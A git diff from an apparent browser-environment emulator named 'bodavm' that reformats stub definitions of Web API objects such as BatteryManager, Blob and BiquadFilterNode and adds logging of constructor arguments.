writable: true, + value: function createDelay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createDelay", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createDynamicsCompressor", { + configurable: true, + enumerable: true, + writable: true, + value: function createDynamicsCompressor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createDynamicsCompressor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createGain", { + configurable: true, + enumerable: true, + writable: true, + value: function createGain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createGain", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createIIRFilter", { + configurable: true, + enumerable: true, + writable: true, + value: function createIIRFilter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createIIRFilter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createOscillator", { + configurable: true, + enumerable: true, + writable: true, + value: function createOscillator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createOscillator", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createPanner", { + configurable: true, + enumerable: true, + writable: true, + value: function createPanner() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createPanner", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createPeriodicWave", { + configurable: true, + enumerable: true, + writable: true, + value: function createPeriodicWave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createPeriodicWave", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createScriptProcessor", { + configurable: true, + enumerable: true, + writable: true, + value: function createScriptProcessor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createScriptProcessor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createStereoPanner", { + configurable: true, + enumerable: true, + writable: true, + value: function createStereoPanner() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createStereoPanner", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "createWaveShaper", { + configurable: true, + enumerable: true, + writable: true, + value: function createWaveShaper() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createWaveShaper", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "decodeAudioData", { + configurable: true, + enumerable: true, + writable: true, + value: function decodeAudioData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "decodeAudioData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BaseAudioContext', "audioWorklet", { + configurable: true, + enumerable: true, + get: function audioWorklet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "audioWorklet_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BatteryManager.js b/env_xbb_lastest_jsdom/env/BatteryManager.js index c7f77443..5f4b19bf 100644 --- a/env_xbb_lastest_jsdom/env/BatteryManager.js +++ b/env_xbb_lastest_jsdom/env/BatteryManager.js @@ -1,13 +1,91 @@ -// BatteryManager对象 -bodavm.memory.globalobj['BatteryManager'] = function BatteryManager(){if (!(this instanceof BatteryManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BatteryManager'], "BatteryManager"); -bodavm.memory.globalobj['BatteryManager'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BatteryManager'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BatteryManager', "charging", {configurable:true, enumerable:true, get:function charging (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "charging_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "chargingTime", {configurable:true, enumerable:true, get:function chargingTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "chargingTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "dischargingTime", {configurable:true, enumerable:true, get:function dischargingTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "dischargingTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "level", {configurable:true, enumerable:true, get:function level (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "level_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "onchargingchange", {configurable:true, enumerable:true, get:function onchargingchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingchange_get", arguments)}, set:function onchargingchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "onchargingtimechange", {configurable:true, enumerable:true, get:function onchargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingtimechange_get", arguments)}, set:function onchargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingtimechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "ondischargingtimechange", {configurable:true, enumerable:true, get:function ondischargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "ondischargingtimechange_get", arguments)}, set:function ondischargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "ondischargingtimechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "onlevelchange", {configurable:true, enumerable:true, get:function onlevelchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onlevelchange_get", arguments)}, set:function onlevelchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onlevelchange_set", arguments)}},'prototype'); +// BatteryManager对象 + +bodavm.memory.globalobj['BatteryManager'] = function BatteryManager() { + console.log_copy('BatteryManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BatteryManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BatteryManager'], "BatteryManager"); +bodavm.memory.globalobj['BatteryManager'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BatteryManager'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BatteryManager', "charging", { + configurable: true, + enumerable: true, + get: function charging() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "charging_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "chargingTime", { + configurable: true, + enumerable: true, + get: function chargingTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "chargingTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "dischargingTime", { + configurable: true, + enumerable: true, + get: function dischargingTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "dischargingTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "level", { + configurable: true, + enumerable: true, + get: function level() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "level_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "onchargingchange", { + configurable: true, + enumerable: true, + get: function onchargingchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingchange_get", arguments); + }, + set: function onchargingchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "onchargingtimechange", { + configurable: true, + enumerable: true, + get: function onchargingtimechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingtimechange_get", arguments); + }, + set: function onchargingtimechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingtimechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "ondischargingtimechange", { + configurable: true, + enumerable: true, + get: function ondischargingtimechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "ondischargingtimechange_get", arguments); + }, + set: function ondischargingtimechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "ondischargingtimechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "onlevelchange", { + configurable: true, + enumerable: true, + get: function onlevelchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onlevelchange_get", arguments); + }, + set: function onlevelchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onlevelchange_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BeforeInstallPromptEvent.js b/env_xbb_lastest_jsdom/env/BeforeInstallPromptEvent.js index b4faf1fb..7ba0782a 100644 --- a/env_xbb_lastest_jsdom/env/BeforeInstallPromptEvent.js +++ b/env_xbb_lastest_jsdom/env/BeforeInstallPromptEvent.js @@ -1,8 +1,43 @@ -// BeforeInstallPromptEvent对象 -bodavm.memory.globalobj['BeforeInstallPromptEvent'] = function BeforeInstallPromptEvent(){if (!(this instanceof BeforeInstallPromptEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BeforeInstallPromptEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BeforeInstallPromptEvent'], "BeforeInstallPromptEvent"); -bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['BeforeInstallPromptEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "platforms", {configurable:true, enumerable:true, get:function platforms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "platforms_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "userChoice", {configurable:true, enumerable:true, get:function userChoice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "userChoice_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "prompt", {configurable:true, enumerable:true, writable:true, value:function prompt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "prompt", arguments)}},'prototype'); +// BeforeInstallPromptEvent对象 + +bodavm.memory.globalobj['BeforeInstallPromptEvent'] = function BeforeInstallPromptEvent() { + console.log_copy('BeforeInstallPromptEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BeforeInstallPromptEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BeforeInstallPromptEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BeforeInstallPromptEvent'], "BeforeInstallPromptEvent"); +bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['BeforeInstallPromptEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "platforms", { + configurable: true, + enumerable: true, + get: function platforms() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "platforms_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "userChoice", { + configurable: true, + enumerable: true, + get: function userChoice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "userChoice_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "prompt", { + configurable: true, + enumerable: true, + writable: true, + value: function prompt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "prompt", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BeforeUnloadEvent.js b/env_xbb_lastest_jsdom/env/BeforeUnloadEvent.js index 82f5d361..ff7cba93 100644 --- a/env_xbb_lastest_jsdom/env/BeforeUnloadEvent.js +++ b/env_xbb_lastest_jsdom/env/BeforeUnloadEvent.js @@ -1,6 +1,29 @@ -// BeforeUnloadEvent对象 -bodavm.memory.globalobj['BeforeUnloadEvent'] = function BeforeUnloadEvent(){if (!(this instanceof BeforeUnloadEvent)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BeforeUnloadEvent'], "BeforeUnloadEvent"); -bodavm.memory.globalobj['BeforeUnloadEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['BeforeUnloadEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('BeforeUnloadEvent', "returnValue", {configurable:true, enumerable:true, get:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeUnloadEvent'].prototype, "BeforeUnloadEvent", "returnValue_get", arguments)}, set:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeUnloadEvent'].prototype, "BeforeUnloadEvent", "returnValue_set", arguments)}},'prototype'); +// BeforeUnloadEvent对象 + +bodavm.memory.globalobj['BeforeUnloadEvent'] = function BeforeUnloadEvent() { + console.log_copy('BeforeUnloadEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BeforeUnloadEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BeforeUnloadEvent'], "BeforeUnloadEvent"); +bodavm.memory.globalobj['BeforeUnloadEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['BeforeUnloadEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('BeforeUnloadEvent', "returnValue", { + configurable: true, + enumerable: true, + get: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeUnloadEvent'].prototype, "BeforeUnloadEvent", "returnValue_get", arguments); + }, + set: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeUnloadEvent'].prototype, "BeforeUnloadEvent", "returnValue_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BiquadFilterNode.js b/env_xbb_lastest_jsdom/env/BiquadFilterNode.js index c067014f..ff7da535 100644 --- a/env_xbb_lastest_jsdom/env/BiquadFilterNode.js +++ b/env_xbb_lastest_jsdom/env/BiquadFilterNode.js @@ -1,11 +1,69 @@ -// BiquadFilterNode对象 -bodavm.memory.globalobj['BiquadFilterNode'] = function BiquadFilterNode(){if (!(this instanceof BiquadFilterNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BiquadFilterNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BiquadFilterNode'], "BiquadFilterNode"); -bodavm.memory.globalobj['BiquadFilterNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['BiquadFilterNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "frequency", {configurable:true, enumerable:true, get:function frequency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "frequency_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "detune", {configurable:true, enumerable:true, get:function detune (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "detune_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "Q", {configurable:true, enumerable:true, get:function Q (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "Q_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "gain", {configurable:true, enumerable:true, get:function gain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "gain_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BiquadFilterNode', "getFrequencyResponse", {configurable:true, enumerable:true, writable:true, value:function getFrequencyResponse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "getFrequencyResponse", arguments)}},'prototype'); +// BiquadFilterNode对象 + +bodavm.memory.globalobj['BiquadFilterNode'] = function BiquadFilterNode() { + console.log_copy('BiquadFilterNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BiquadFilterNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BiquadFilterNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BiquadFilterNode'], "BiquadFilterNode"); +bodavm.memory.globalobj['BiquadFilterNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['BiquadFilterNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "frequency", { + configurable: true, + enumerable: true, + get: function frequency() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "frequency_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "detune", { + configurable: true, + enumerable: true, + get: function detune() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "detune_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "Q", { + configurable: true, + enumerable: true, + get: function Q() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "Q_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "gain", { + configurable: true, + enumerable: true, + get: function gain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "gain_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "getFrequencyResponse", { + configurable: true, + enumerable: true, + writable: true, + value: function getFrequencyResponse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "getFrequencyResponse", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Blob.js b/env_xbb_lastest_jsdom/env/Blob.js index 80760c0d..3de8a4a8 100644 --- a/env_xbb_lastest_jsdom/env/Blob.js +++ b/env_xbb_lastest_jsdom/env/Blob.js @@ -1,9 +1,62 @@ -// Blob对象 -bodavm.memory.globalobj['Blob'] = function Blob(){this._boarg= new bodaobj.window.Blob();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Blob'], "Blob"); -bodavm.toolsFunc.defineProperty('Blob', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Blob', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Blob', "arrayBuffer", {configurable:true, enumerable:true, writable:true, value:function arrayBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "arrayBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Blob', "slice", {configurable:true, enumerable:true, writable:true, value:function slice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "slice", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Blob', "stream", {configurable:true, enumerable:true, writable:true, value:function stream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "stream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Blob', "text", {configurable:true, enumerable:true, writable:true, value:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "text", arguments)}},'prototype'); +// Blob对象 + +bodavm.memory.globalobj['Blob'] = function Blob() { + console.log_copy('Blob 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Blob(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Blob'], "Blob"); +bodavm.toolsFunc.defineProperty('Blob', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Blob', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Blob', "arrayBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function arrayBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "arrayBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Blob', "slice", { + configurable: true, + enumerable: true, + writable: true, + value: function slice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "slice", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Blob', "stream", { + configurable: true, + enumerable: true, + writable: true, + value: function stream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "stream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Blob', "text", { + configurable: true, + enumerable: true, + writable: true, + value: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "text", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BlobEvent.js b/env_xbb_lastest_jsdom/env/BlobEvent.js index 0dc0671d..493c6167 100644 --- a/env_xbb_lastest_jsdom/env/BlobEvent.js +++ b/env_xbb_lastest_jsdom/env/BlobEvent.js @@ -1,7 +1,35 @@ -// BlobEvent对象 -bodavm.memory.globalobj['BlobEvent'] = function BlobEvent(){if (!(this instanceof BlobEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BlobEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BlobEvent'], "BlobEvent"); -bodavm.memory.globalobj['BlobEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['BlobEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('BlobEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BlobEvent'].prototype, "BlobEvent", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BlobEvent', "timecode", {configurable:true, enumerable:true, get:function timecode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BlobEvent'].prototype, "BlobEvent", "timecode_get", arguments)}, set:undefined},'prototype'); +// BlobEvent对象 + +bodavm.memory.globalobj['BlobEvent'] = function BlobEvent() { + console.log_copy('BlobEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BlobEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BlobEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BlobEvent'], "BlobEvent"); +bodavm.memory.globalobj['BlobEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['BlobEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('BlobEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BlobEvent'].prototype, "BlobEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BlobEvent', "timecode", { + configurable: true, + enumerable: true, + get: function timecode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BlobEvent'].prototype, "BlobEvent", "timecode_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Bluetooth.js b/env_xbb_lastest_jsdom/env/Bluetooth.js index c811d0e8..a2e46f3f 100644 --- a/env_xbb_lastest_jsdom/env/Bluetooth.js +++ b/env_xbb_lastest_jsdom/env/Bluetooth.js @@ -1,7 +1,35 @@ -// Bluetooth对象 -bodavm.memory.globalobj['Bluetooth'] = function Bluetooth(){if (!(this instanceof Bluetooth)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} 